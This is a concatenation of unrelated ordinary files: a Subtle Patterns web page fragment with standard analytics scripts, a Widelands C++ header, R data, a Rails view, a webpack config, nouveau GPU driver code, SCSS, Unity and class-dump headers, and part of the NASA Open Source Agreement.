tag-light loop" id="post-502"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/soft-wallpaper/" rel="bookmark" title="Permalink to Soft Wallpaper">Soft Wallpaper</a></h2></div><div class="entry-meta"><p>June 27, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/soft_wallpaper.png)"></div><p>Coming in at 666x666px, this is an evil big pattern, but nice and soft at the same time.</p><p>Made by <a href="http://atlemo.com" target="_blank">Atle Mo</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/soft_wallpaper.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-499 post type-post status-publish format-standard hentry category-patterns tag-light loop" id="post-499"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/concrete-wall-3/" rel="bookmark" title="Permalink to Concrete wall 3">Concrete wall 3</a></h2></div><div class="entry-meta"><p>June 24, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/concrete_wall_3.png)"></div><p>All good things are 3, so I give you the third in my little concrete wall series.</p><p>Made by <a href="http://atlemo.com" target="_blank">Atle Mo</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/concrete_wall_3.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="page-navi"><div class='wp-pagenavi'> <span class='pages'>Page 27 of 32</span><a href='http://subtlepatterns.com/' class='first'>« First</a><a href='http://subtlepatterns.com/page/26/' class='previouspostslink'>«</a><a href='http://subtlepatterns.com/page/12/' class='smaller page'>12</a><span class='extend'>...</span><a href='http://subtlepatterns.com/page/21/' class='page smaller'>21</a><a href='http://subtlepatterns.com/page/22/' class='page smaller'>22</a><a href='http://subtlepatterns.com/page/23/' class='page smaller'>23</a><a href='http://subtlepatterns.com/page/24/' class='page smaller'>24</a><a href='http://subtlepatterns.com/page/25/' class='page smaller'>25</a><a href='http://subtlepatterns.com/page/26/' class='page smaller'>26</a><span class='current'>27</span><a href='http://subtlepatterns.com/page/28/' class='page larger'>28</a><a href='http://subtlepatterns.com/page/29/' class='page larger'>29</a><a href='http://subtlepatterns.com/page/30/' class='page larger'>30</a><a href='http://subtlepatterns.com/page/31/' class='page larger'>31</a><a href='http://subtlepatterns.com/page/32/' class='page larger'>32</a><a href='http://subtlepatterns.com/page/28/' class='nextpostslink'>»</a></div></div></div></div></div></div><div id="footer-container"><div id="footer-bottom"><div class="footer-top clearfix"><div class="one-third clearfix"><h2>My lovely sponsors</h2><p>Rock solid hosting and content delivery by:</p> <a href="http://www.mediatemple.net/#a_aid=4ffc75a023b77" class="mt"></a><a href="http://www.maxcdn.com/" class="maxcon"></a></div><div class="one-third"><h2>Top Tags</h2><ul class="tagclouds clearfix"><li><a href="http://subtlepatterns.com/tag/light/">light</a></li><li><a href="http://subtlepatterns.com/tag/dark/">dark</a></li><li><a href="http://subtlepatterns.com/tag/paper/">paper</a></li><li><a href="http://subtlepatterns.com/tag/stripes/">stripes</a></li><li><a href="http://subtlepatterns.com/tag/wall/">wall</a></li><li><a href="http://subtlepatterns.com/tag/fabric/">fabric</a></li><li><a href="http://subtlepatterns.com/tag/noise/">noise</a></li><li><a href="http://subtlepatterns.com/tag/diamond/">diamond</a></li><li><a href="http://subtlepatterns.com/tag/grid/">grid</a></li><li><a href="http://subtlepatterns.com/tag/carbon/">carbon</a></li></ul></div><div class="one-third last"><h2>Photoshop .pat file</h2><p>The Photoshop pattern file containing all the patterns on this site can now be found on GitHub.</p> <br> <a class="github" href="http://github.com/subtlepatterns/SubtlePatterns", "target="_blank">Get it on GitHub</a></div></div><div class="footer-bottom clearfix"><div class="one-half"><h2>Information &amp; Copyright</h2><p><span xmlns:dct="http://purl.org/dc/terms/" property="dct:title">Subtle Patterns</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://subtlepatterns.com" property="cc:attributionName" rel="cc:attributionURL">Subtle Patterns</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/deed.en_US">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>.<br />Based on work at <a xmlns:dct="http://purl.org/dc/terms/" href="http://subtlepatterns.com" rel="dct:source">subtlepatterns.com</a>.<br />Permissions beyond the scope of this license may be available upon <a href="http://www.cloudflare.com/email-protection#a3c0cccdd7c2c0d7e3d0d6c1d7cfc6d3c2d7d7c6d1cdd08dc0ccce">contact.</a><br/> A project by <a href="http://atlemo.com">Atle Mo.</a></p><p><span>Subtle Patterns and <a href="#">www.subtlepatterns.com</a> &copy; 2013 Atle Mo.</span></p></div><div class="one-half alt"><h2>Follow &amp; Love Subtle Patterns</h2><div class="sociables"><ul class="clearfix"><li><a href="http://www.facebook.com/subtlepatterns" class="facebook"> <span class="icon"> &nbsp;</span> <span class="inner"><strong>Facebook</strong> <br />16 560</span> </a></li><li><a href="http://twitter.com/subtlepattern" class="twitter"> <span class="icon"> &nbsp;</span> <span class="inner"><strong>Twitter</strong> <br />8 084</span> </a></li><li><a href="http://feeds.feedburner.com/SubtlePatterns" class="rss"> <span class="icon"> &nbsp;</span> <span class="inner"><strong>RSS</strong> <br />2 501</span> </a></li></ul></div></div></div></div></div><script type="text/javascript"> var _sf_async_config={uid:38291,domain:"subtlepatterns.com"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == document.location.protocol) ? "https://a248.e.akamai.net/chartbeat.download.akamai.com/102508/" : "http://static.chartbeat.com/") + "js/chartbeat.js"); document.body.appendChild(e); } var oldonload = window.onload; window.onload = (typeof window.onload != 'function') ? loadChartbeat : function() { oldonload(); loadChartbeat(); }; })(); </script><script type="text/javascript"> setTimeout(function(){var a=document.createElement("script"); var b=document.getElementsByTagName("script")[0]; a.src=document.location.protocol+"//dnn506yrbagrg.cloudfront.net/pages/scripts/0011/3668.js?"+Math.floor(new Date().getTime()/3600000); a.async=true;a.type="text/javascript";b.parentNode.insertBefore(a,b)}, 1); </script><script type="text/javascript"> (function() { window._pa = window._pa || {}; // _pa.orderId = "[email protected]"; // OPTIONAL: include your user's email address or order ID // _pa.revenue = "19.99"; // OPTIONAL: include dynamic purchase value for the conversion // _pa.onLoadEvent = "sign_up"; // OPTIONAL: name of segment/conversion to be fired on script load var pa = document.createElement('script'); pa.type = 'text/javascript'; pa.async = true; pa.src = ('https:' == document.location.protocol ? 'https:' : 'http:') + "//tag.perfectaudience.com/serve/506c1c45d62705000200000c.js"; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(pa, s); })(); </script><script type="text/javascript"> /* <![CDATA[ */ (function(){try{var s,a,i,j,r,c,l=document.getElementsByTagName("a"),t=document.createElement("textarea");for(i=0;l.length-i;i++){try{a=l[i].getAttribute("href");if(a&&"www.cloudflare.com/email-protection"==a.substr(7 ,35)){s='';j=43;r=parseInt(a.substr(j,2),16);for(j+=2;a.length-j&&a.substr(j,1)!='X';j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}j+=1;s+=a.substr(j,a.length-j);t.innerHTML=s.replace(/</g,"&lt;").replace(/>/g,"&gt;");l[i].setAttribute("href","mailto:"+t.value);}}catch(e){}}}catch(e){}})(); /* ]]> */ </script> </body></html> <!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/ Minified using disk: basic Page Caching using disk: basic Database Caching using disk: basic Content Delivery Network via subtlepatterns.subtlepatterns.netdna-cdn.com Served from: subtlepatterns.com @ 2013-01-29 23:39:51 -->
{ "pile_set_name": "Github" }
#ifndef WL_WUI_SAVEGAMELOADER_H #define WL_WUI_SAVEGAMELOADER_H #include <string> #include <vector> #include "game_io/game_preload_packet.h" #include "wui/savegamedata.h" class SavegameLoader { public: SavegameLoader(Widelands::Game& game); virtual ~SavegameLoader() { } std::vector<SavegameData> load_files(const std::string& directory); private: virtual bool is_valid_gametype(const SavegameData& gamedata) const = 0; virtual std::string get_savename(const std::string& gamefilename) const; void add_general_information(SavegameData& gamedata, const Widelands::GamePreloadPacket& gpdp) const; void add_error_info(SavegameData& gamedata, std::string errormessage) const; void add_time_info(SavegameData& gamedata, const Widelands::GamePreloadPacket& gpdp) const; void add_sub_dir(const std::string& gamefilename, std::vector<SavegameData>& loaded_games) const; void load_savegame_from_directory(const std::string& gamefilename, std::vector<SavegameData>& loaded_games) const; void load_savegame_from_file(const std::string& gamefilename, std::vector<SavegameData>& loaded_games) const; void load(const std::string& to_be_loaded, std::vector<SavegameData>& loaded_games) const; Widelands::Game& game_; }; class ReplayLoader : public SavegameLoader { public: ReplayLoader(Widelands::Game& game); private: bool is_valid_gametype(const SavegameData& gamedata) const override; std::string get_savename(const std::string& gamefilename) const override; }; class MultiPlayerLoader : public SavegameLoader { public: MultiPlayerLoader(Widelands::Game& game); private: bool is_valid_gametype(const SavegameData& gamedata) const override; }; class SinglePlayerLoader : public SavegameLoader { public: SinglePlayerLoader(Widelands::Game& game); private: bool is_valid_gametype(const SavegameData& gamedata) const override; }; class EverythingLoader : public SavegameLoader { public: EverythingLoader(Widelands::Game& game); private: bool is_valid_gametype(const SavegameData& gamedata) const override; }; #endif // WL_WUI_SAVEGAMELOADER_H
{ "pile_set_name": "Github" }
nChild <- 13 nInd <- 34 gamma <- structure(c(0.7425, 10.267, 10.5215, 9.3877, 0.2593, -0.5998, 10.5891, 6.6701, 8.8921, 12.4275, 12.4788, 13.7778, 5.8374, 6.9485, 13.7184, 14.3476, 4.8066, 9.1037, 10.7483, 0.3887, 3.2573, 11.6273, 15.8842, 14.8926, 15.5487, 15.4091, 3.9216, 15.475, 0.4927, 1.3059, 1.5012, 0.8021, 5.0022, 4.0168, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 1.0153, 7.0421, 14.4242, 17.4685, 16.7409, 16.872, 17.0061, 5.2099, 16.9406, 1.3556, 1.8793, 1.8902, 2.3873, 6.3704, 5.1537, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 17.4944, 2.3016, 2.497, 2.3689, 3.9525, 8.2832, 7.1053, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 3.2535, 3.2306, 2.9495, 5.3198, 10.4988, 10.3038), .Dim = c(34, 4)) delta <- c(2.9541, 0.6603, 0.7965, 1.0495, 5.7874, 3.8376, 0.6324, 0.8272, 0.6968, 0.8747, 0.8136, 0.8246, 0.6711, 0.978, 1.1528, 1.6923, 1.0331, 0.5381, 1.0688, 8.1123, 0.9974, 1.2656, 1.1802, 1.368, 1.5435, 1.5006, 1.6766, 1.4297, 3.385, 3.3085, 3.4007, 2.0906, 1.0954, 1.5329) ncat <- c(2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 4, 5, 5, 5, 5, 5, 5) grade <- structure(c(1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 2, -1, 2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, -1, 2, 2, 1, 1, 1, 1, 1, 2, 1, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 1, 1, 1, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, -1, -1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 1, -1, -1, 1, 1, -1, 2, -1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -1, 2, 2, 1, 1, 1, -1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 2, 1, 2, 1, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, -1, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -1, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, -1, -1, 2, 1, -1, 1, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 2, 2, 3, 2, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -1, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -1, -1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, -1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 3, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 3, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 3, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 2, 2, 3, 3, 4, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 1, 1, 2, 3, 3, 3, 4, 5, 5, 5, 5, 1, 1, 1, 1, 3, 3, 3, 4, 4, 5, 5, 5, 5), .Dim = c(13, 34))
{ "pile_set_name": "Github" }
<% page_title @title %> <script type="text/javascript"> servers = <%= @servers.to_json.html_safe %>; dashboard = <%= @dashboard.to_json.html_safe %>; blob = "<%= @blob %>"; </script> <div class="fullscreen"> <div class="single_widget" ng-controller="SingleWidgetCtrl"> <span ng-repeat="widget in widgets" ng-switch="widget.type"> <span ng-switch-when="graph"> <graph graph-settings="widget" servers="servers" global-end-time="globalConfig.endTime" aspect-ratio="globalConfig.aspectRatio" index="$index" vars="globalConfig.vars"> </span> <span ng-switch-when="gauge"> <gauge graph-settings="widget" servers="servers" aspect-ratio="globalConfig.aspectRatio" index="$index" vars="globalConfig.vars"> </span> <span ng-switch-when="pie"> <pie graph-settings="widget" servers="servers" aspect-ratio="globalConfig.aspectRatio" index="$index" vars="globalConfig.vars"> </span> <span ng-switch-when="frame"> <inline-frame frame-settings="widget" aspect-ratio="globalConfig.aspectRatio" index="$index" vars="globalConfig.vars"> </span> </span> </div> </div>
{ "pile_set_name": "Github" }
'use strict' const path = require('path') const utils = require('./utils') const config = require('../config') const vueLoaderConfig = require('./vue-loader.conf') function resolve (dir) { return path.join(__dirname, '..', dir) } const createLintingRule = () => ({ test: /\.(js|vue)$/, loader: 'eslint-loader', enforce: 'pre', include: [resolve('src'), resolve('test')], options: { formatter: require('eslint-friendly-formatter'), emitWarning: !config.dev.showEslintErrorsInOverlay } }) module.exports = { context: path.resolve(__dirname, '../'), entry: { app: './src/main.js' }, output: { path: config.build.assetsRoot, filename: '[name].js', publicPath: process.env.NODE_ENV === 'production' ? config.build.assetsPublicPath : config.dev.assetsPublicPath }, resolve: { extensions: ['.js', '.vue', '.json'], alias: { 'vue$': 'vue/dist/vue.esm.js', '@': resolve('src'), } }, module: { rules: [ ...(config.dev.useEslint ? [createLintingRule()] : []), { test: /\.vue$/, loader: 'vue-loader', options: vueLoaderConfig }, { test: /\.js$/, loader: 'babel-loader', include: [resolve('src'), resolve('test'), resolve('node_modules/webpack-dev-server/client')] }, { test: /\.(png|jpe?g|gif|svg)(\?.*)?$/, loader: 'url-loader', options: { limit: 10000, name: utils.assetsPath('img/[name].[hash:7].[ext]') } }, { test: /\.(mp4|webm|ogg|mp3|wav|flac|aac)(\?.*)?$/, loader: 'url-loader', options: { limit: 10000, name: utils.assetsPath('media/[name].[hash:7].[ext]') } }, { test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/, loader: 'url-loader', options: { limit: 10000, name: utils.assetsPath('fonts/[name].[hash:7].[ext]') } } ] }, node: { // prevent webpack from injecting useless setImmediate polyfill because Vue // source contains it (although only uses it if it's native). setImmediate: false, // prevent webpack from injecting mocks to Node native modules // that does not make sense for the client dgram: 'empty', fs: 'empty', net: 'empty', tls: 'empty', child_process: 'empty' } }
{ "pile_set_name": "Github" }
/* * Copyright 2018 Red Hat Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include "vmm.h" #include <subdev/timer.h> static void tu102_vmm_flush(struct nvkm_vmm *vmm, int depth) { struct nvkm_subdev *subdev = &vmm->mmu->subdev; struct nvkm_device *device = subdev->device; u32 type = (5 /* CACHE_LEVEL_UP_TO_PDE3 */ - depth) << 24; type |= 0x00000001; /* PAGE_ALL */ if (atomic_read(&vmm->engref[NVKM_SUBDEV_BAR])) type |= 0x00000004; /* HUB_ONLY */ mutex_lock(&subdev->mutex); nvkm_wr32(device, 0xb830a0, vmm->pd->pt[0]->addr >> 8); nvkm_wr32(device, 0xb830a4, 0x00000000); nvkm_wr32(device, 0x100e68, 0x00000000); nvkm_wr32(device, 0xb830b0, 0x80000000 | type); nvkm_msec(device, 2000, if (!(nvkm_rd32(device, 0xb830b0) & 0x80000000)) break; ); mutex_unlock(&subdev->mutex); } static const struct nvkm_vmm_func tu102_vmm = { .join = gv100_vmm_join, .part = gf100_vmm_part, .aper = gf100_vmm_aper, .valid = gp100_vmm_valid, .flush = tu102_vmm_flush, .mthd = gp100_vmm_mthd, .page = { { 47, &gp100_vmm_desc_16[4], NVKM_VMM_PAGE_Sxxx }, { 38, &gp100_vmm_desc_16[3], NVKM_VMM_PAGE_Sxxx }, { 29, &gp100_vmm_desc_16[2], NVKM_VMM_PAGE_Sxxx }, { 21, &gp100_vmm_desc_16[1], NVKM_VMM_PAGE_SVxC }, { 16, &gp100_vmm_desc_16[0], NVKM_VMM_PAGE_SVxC }, { 12, &gp100_vmm_desc_12[0], NVKM_VMM_PAGE_SVHx }, {} } }; int tu102_vmm_new(struct nvkm_mmu *mmu, bool managed, u64 addr, u64 size, void *argv, u32 argc, struct lock_class_key *key, const char *name, struct nvkm_vmm **pvmm) { return gp100_vmm_new_(&tu102_vmm, mmu, managed, addr, size, argv, argc, key, name, pvmm); }
{ "pile_set_name": "Github" }
$variant: 'light'; $light-panel: 'true'; $nautilus_ver: 3.28; $min_ver: 22; @import '../../gtk-3.0/sass/colors'; @import '../../gtk-3.0/sass/drawing'; @import '../../gtk-3.0/sass/common'; @import '../../gtk-3.0/sass/applications'; @import '../../gtk-3.0/sass/budgie'; @import '../../gtk-3.0/sass/gnome-applications'; @import '../../gtk-3.0/sass/colors-public';
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 9d261bc80e8a2ce4baa0ad99af8e0a89 timeCreated: 1464946228 licenseType: Store NativeFormatImporter: userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> @interface TNotificationCenterObserverGlue : NSObject { function_d3afe2e2 _invokeSimple; function_17f8d0c6 _invokeWithNote; } - (id).cxx_construct; - (void).cxx_destruct; - (void)invoke:(id)arg1; - (id)initWithNote:(const function_17f8d0c6 *)arg1; - (id)initSimple:(const function_d3afe2e2 *)arg1; @end
{ "pile_set_name": "Github" }
<div class="optional-license-text"> <p>NASA OPEN SOURCE AGREEMENT VERSION 1.3</p> </div> <p>THIS OPEN SOURCE AGREEMENT (&quot;AGREEMENT&quot;) DEFINES THE RIGHTS OF USE, REPRODUCTION, DISTRIBUTION, MODIFICATION AND REDISTRIBUTION OF CERTAIN COMPUTER SOFTWARE ORIGINALLY RELEASED BY THE UNITED STATES GOVERNMENT AS REPRESENTED BY THE GOVERNMENT AGENCY LISTED BELOW (&quot;GOVERNMENT AGENCY&quot;). THE UNITED STATES GOVERNMENT, AS REPRESENTED BY GOVERNMENT AGENCY, IS AN INTENDED THIRD-PARTY BENEFICIARY OF ALL SUBSEQUENT DISTRIBUTIONS OR REDISTRIBUTIONS OF THE SUBJECT SOFTWARE. ANYONE WHO USES, REPRODUCES, DISTRIBUTES, MODIFIES OR REDISTRIBUTES THE SUBJECT SOFTWARE, AS DEFINED HEREIN, OR ANY PART THEREOF, IS, BY THAT ACTION, ACCEPTING IN FULL THE RESPONSIBILITIES AND OBLIGATIONS CONTAINED IN THIS AGREEMENT.</p> <p>Government Agency: <var class="replacable-license-text">_______________</var></p> <p>Government Agency Original Software Designation: <var class="replacable-license-text">_______________</var></p> <p>Government Agency Original Software Title: <var class="replacable-license-text">_______________</var></p> <p>User Registration Requested. Please Visit <var class="replacable-license-text">http://_______________</var></p> <p>Government Agency Point of Contact for Original Software: <var class="replacable-license-text">_______________</var></p> <ul style="list-style:none"> <li> <p>DEFINITIONS</p> <ul style="list-style:none"> <li> <var class="replacable-license-text">A.</var> &quot;Contributor&quot; means Government Agency, as the developer of the Original Software, and any entity that makes a Modification. </li> <li> <var class="replacable-license-text">B.</var> &quot;Covered Patents&quot; mean patent claims licensable by a Contributor that are necessarily infringed by the use or sale of its Modification alone or when combined with the Subject Software. </li> <li> <var class="replacable-license-text">C.</var> &quot;Display&quot; means the showing of a copy of the Subject Software, either directly or by means of an image, or any other device. </li> <li> <var class="replacable-license-text">D.</var> &quot;Distribution&quot; means conveyance or transfer of the Subject Software, regardless of means, to another. </li> <li> <var class="replacable-license-text">E.</var> &quot;Larger Work&quot; means computer software that combines Subject Software, or portions thereof, with software separate from the Subject Software that is not governed by the terms of this Agreement. </li> <li> <var class="replacable-license-text">F.</var> &quot;Modification&quot; means any alteration of, including addition to or deletion from, the substance or structure of either the Original Software or Subject Software, and includes derivative works, as that term is defined in the Copyright Statute, 17 USC 101. However, the act of including Subject Software as part of a Larger Work does not in and of itself constitute a Modification. </li> <li> <var class="replacable-license-text">G.</var> &quot;Original Software&quot; means the computer software first released under this Agreement by Government Agency with Government Agency designation <var class="replacable-license-text">_______________</var> and entitled <var class="replacable-license-text">_______________</var>, including source code, object code and accompanying documentation, if any. </li> <li> <var class="replacable-license-text">H.</var> &quot;Recipient&quot; means anyone who acquires the Subject Software under this Agreement, including all Contributors. </li> <li> <var class="replacable-license-text">I.</var> &quot;Redistribution&quot; means Distribution of the Subject Software after a Modification has been made. </li> <li> <var class="replacable-license-text">J.</var> &quot;Reproduction&quot; means the making of a counterpart, image or copy of the Subject Software. </li> <li> <var class="replacable-license-text">K.</var> &quot;Sale&quot; means the exchange of the Subject Software for money or equivalent value. </li> <li> <var class="replacable-license-text">L.</var> &quot;Subject Software&quot; means the Original Software, Modifications, or any respective parts thereof. </li> <li> <var class="replacable-license-text">M.</var> &quot;Use&quot; means the application or employment of the Subject Software for any purpose. </li> </ul> </li> <li> <p>GRANT OF RIGHTS</p> <ul style="list-style:none"> <li> <var class="replacable-license-text">A.</var> Under Non-Patent Rights: Subject to the terms and conditions of this Agreement, each Contributor, with respect to its own contribution to the Subject Software, hereby grants to each Recipient a non-exclusive, world-wide, royalty-free license to engage in the following activities pertaining to the Subject Software: <ul style="list-style:none"> <li> <var class="replacable-license-text">1.</var> Use </li> <li> <var class="replacable-license-text">2.</var> Distribution </li> <li> <var class="replacable-license-text">3.</var> Reproduction </li> <li> <var class="replacable-license-text">4.</var> Modification </li> <li> <var class="replacable-license-text">5.</var> Redistribution </li> <li> <var class="replacable-license-text">6.</var> Display </li> </ul> </li> <li> <var class="replacable-license-text">B.</var> Under Patent Rights: Subject to the terms and conditions of this Agreement, each Contributor, with respect to its own contribution to the Subject Software, hereby grants to each Recipient under Covered Patents a non-exclusive, world-wide, royalty-free license to engage in the following activities pertaining to the Subject Software: <ul style="list-style:none"> <li> <var class="replacable-license-text">1.</var> Use </li> <li> <var class="replacable-license-text">2.</var> Distribution </li> <li> <var class="replacable-license-text">3.</var> Reproduction </li> <li> <var class="replacable-license-text">4.</var> Sale </li> <li> <var class="replacable-license-text">5.</var> Offer for Sale </li> </ul> </li> <li> <var class="replacable-license-text">C.</var> The rights granted under Paragraph B. also apply to the combination of a Contributor&apos;s Modification and the Subject Software if, at the time the Modification is added by the Contributor, the addition of such Modification causes the combination to be covered by the Covered Patents. It does not apply to any other combinations that include a Modification. </li> <li> <var class="replacable-license-text">D.</var> The rights granted in Paragraphs A. and B. allow the Recipient to sublicense those same rights. Such sublicense must be under the same terms and conditions of this Agreement. </li> </ul> </li> <li> <p>OBLIGATIONS OF RECIPIENT</p> <ul style="list-style:none"> <li> <var class="replacable-license-text">A.</var> Distribution or Redistribution of the Subject Software must be made under this Agreement except for additions covered under paragraph 3H. <ul style="list-style:none"> <li> <var class="replacable-license-text">1.</var> Whenever a Recipient distributes or redistributes the Subject Software, a copy of this Agreement must be included with each copy of the Subject Software; and </li> <li> <var class="replacable-license-text">2.</var> If Recipient distributes or redistributes the Subject Software in any form other than source code, Recipient must also make the source code freely available, and must provide with each copy of the Subject Software information on how to obtain the source code in a reasonable manner on or through a medium customarily used for software exchange. </li> </ul> </li> <li> <var class="replacable-license-text">B.</var> Each Recipient must ensure that the following copyright notice appears prominently in the Subject Software: <p>[Government Agency will insert the applicable copyright notice in each agreement accompanying the initial distribution of original software and remove this bracketed language.]</p> <p>[The following copyright notice will be used if created by a contractor pursuant to Government Agency contract and rights obtained from creator by assignment. Government Agency will insert the year and its Agency designation and remove the bracketed language.] Copyright (c) {YEAR} United States Government as represented by <var class="replacable-license-text">_______________</var>. All Rights Reserved.</p> <p>[The following copyright notice will be used if created by civil servants only. Government Agency will insert the year and its Agency designation and remove the bracketed language.] Copyright (c) {YEAR} United States Government as represented by <var class="replacable-license-text">_______________</var>. No copyright is claimed in the United States under Title 17, U.S.Code. All Other Rights Reserved.</p> </li> <li> <var class="replacable-license-text">C.</var> Each Contributor must characterize its alteration of the Subject Software as a Modification and must identify itself as the originator of its Modification in a manner that reasonably allows subsequent Recipients to identify the originator of the Modification. In fulfillment of these requirements, Contributor must include a file (e.g., a change log file) that describes the alterations made and the date of the alterations, identifies Contributor as originator of the alterations, and consents to characterization of the alterations as a Modification, for example, by including a statement that the Modification is derived, directly or indirectly, from Original Software provided by Government Agency. Once consent is granted, it may not thereafter be revoked. </li> <li> <var class="replacable-license-text">D.</var> A Contributor may add its own copyright notice to the Subject Software. Once a copyright notice has been added to the Subject Software, a Recipient may not remove it without the express permission of the Contributor who added the notice. </li> <li> <var class="replacable-license-text">E.</var> A Recipient may not make any representation in the Subject Software or in any promotional, advertising or other material that may be construed as an endorsement by Government Agency or by any prior Recipient of any product or service provided by Recipient, or that may seek to obtain commercial advantage by the fact of Government Agency&apos;s or a prior Recipient&apos;s participation in this Agreement. </li> <li> <var class="replacable-license-text">F.</var> In an effort to track usage and maintain accurate records of the Subject Software, each Recipient, upon receipt of the Subject Software, is requested to register with Government Agency by visiting the following website: <var class="replacable-license-text">_______________</var>. Recipient&apos;s name and personal information shall be used for statistical purposes only. Once a Recipient makes a Modification available, it is requested that the Recipient inform Government Agency at the web site provided above how to access the Modification. <p>[Alternative paragraph for use when a web site for release and monitoring of subject software will not be supported by releasing Government Agency] In an effort to track usage and maintain accurate records of the Subject Software, each Recipient, upon receipt of the Subject Software, is requested to provide Government Agency, by e-mail to the Government Agency Point of Contact listed in clause 5.F., the following information: <var class="replacable-license-text">_______________</var>. Recipient&apos;s name and personal information shall be used for statistical purposes only. Once a Recipient makes a Modification available, it is requested that the Recipient inform Government Agency, by e-mail to the Government Agency Point of Contact listed in clause 5.F., how to access the Modification.</p> </li> <li> <var class="replacable-license-text">G.</var> Each Contributor represents that that its Modification is believed to be Contributor&apos;s original creation and does not violate any existing agreements, regulations, statutes or rules, and further that Contributor has sufficient rights to grant the rights conveyed by this Agreement. </li> <li> <var class="replacable-license-text">H.</var> A Recipient may choose to offer, and to charge a fee for, warranty, support, indemnity and/or liability obligations to one or more other Recipients of the Subject Software. A Recipient may do so, however, only on its own behalf and not on behalf of Government Agency or any other Recipient. Such a Recipient must make it absolutely clear that any such warranty, support, indemnity and/or liability obligation is offered by that Recipient alone. Further, such Recipient agrees to indemnify Government Agency and every other Recipient for any liability incurred by them as a result of warranty, support, indemnity and/or liability offered by such Recipient. </li> <li> <var class="replacable-license-text">I.</var> A Recipient may create a Larger Work by combining Subject Software with separate software not governed by the terms of this agreement and distribute the Larger Work 